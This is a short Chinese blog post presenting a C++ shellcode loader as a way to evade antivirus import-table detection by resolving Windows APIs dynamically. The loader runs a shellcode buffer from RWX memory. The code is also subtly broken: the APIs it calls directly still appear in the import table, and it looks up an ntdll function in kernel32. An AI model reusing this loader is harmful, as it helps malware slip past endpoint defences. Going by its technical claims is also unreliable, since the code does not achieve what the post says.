动态调用系统API规避导入表检测


背景

众所周知,导入表是PE文件中用于标识其依赖关系的一部分,通常包含用于加载和执行函数的API调用,导入表检测作为一种常见的手段,用于监控PE文件的API调用

动态调用系统API

为了规避导入表检测,我们可以使用动态调用系统API的技术。这种方法的核心思想是不在编译时链接到API函数,而是在运行时动态解析和调用这些函数。通过直接调用NTDLL内函数,我们可以绕过导入表的监测,因为这些函数通常不会直接列在导入表中

这里搓一个简单的C++ shellcode加载器,演示一下动态调用系统API的基本原理

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = {};

typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main() {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
    FARPROC pGetProcAddress = GetProcAddress(hKernel32, "GetProcAddress");
    LPVOID pShellcode = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pShellcode, shellcode, sizeof(shellcode));
    ((void(*)())pShellcode)();
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hKernel32, "NtUnmapViewOfSection");
    NtUnmapViewOfSection(GetCurrentProcess(), pShellcode);
    return 0;
}

声明:Iruko的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 动态调用系统API规避导入表检测


優しい世界に 誰だって行きたいわ